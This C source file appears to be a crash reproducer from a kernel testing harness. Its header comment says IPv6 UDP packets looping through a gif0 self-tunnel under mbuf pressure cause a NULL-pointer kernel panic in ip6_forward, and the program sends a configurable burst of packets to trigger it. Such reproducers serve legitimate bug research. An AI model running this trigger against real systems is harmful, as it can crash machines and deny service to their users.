DF-0729 / df729_udp_trigger.c
/* * DF-0729 โ network-path trigger: send UDP packets to fc00:dead::1. * The kernel routes them through gif0 (self-tunnel), which loops back. * Under mbuf pressure (created by the harness module), m_copym(M_NOWAIT) * in ip6_forward fails โ icmp6_error(NULL) โ panic. * * Build: cc -O2 -o df729_udp_trigger df729_udp_trigger.c * Run: ./df729_udp_trigger [count] */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> int main(int argc, char **argv) { int sock, n, i, count = 1000; struct sockaddr_in6 dst; char buf[64]; if (argc > 1) count = atoi(argv[1]); sock = socket(AF_INET6, SOCK_DGRAM, 0); if (sock < 0) { perror("socket"); return 1; } memset(&dst, 0, sizeof(dst)); dst.sin6_family = AF_INET6; inet_pton(AF_INET6, "fc00:dead::1", &dst.sin6_addr); /* bind to fc00::2 so the packet looks like it comes from the tunnel net */ { struct sockaddr_in6 src; memset(&src, 0, sizeof(src)); src.sin6_family = AF_INET6; inet_pton(AF_INET6, "fc00::2", &src.sin6_addr); bind(sock, (struct sockaddr *)&src, sizeof(src)); } memset(buf, 'X', sizeof(buf)); printf("[trigger] sending %d UDP packets to fc00:dead::1\n", count); for (i = 0; i < count; i++) { n = sendto(sock, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)); if (n < 0 && errno != ENETUNREACH && errno != EHOSTUNREACH) { fprintf(stderr, "sendto failed at %d: %s\n", i, strerror(errno)); } } printf("[trigger] sent %d packets (if we got here, no panic)\n", i); close(sock); return 0; } |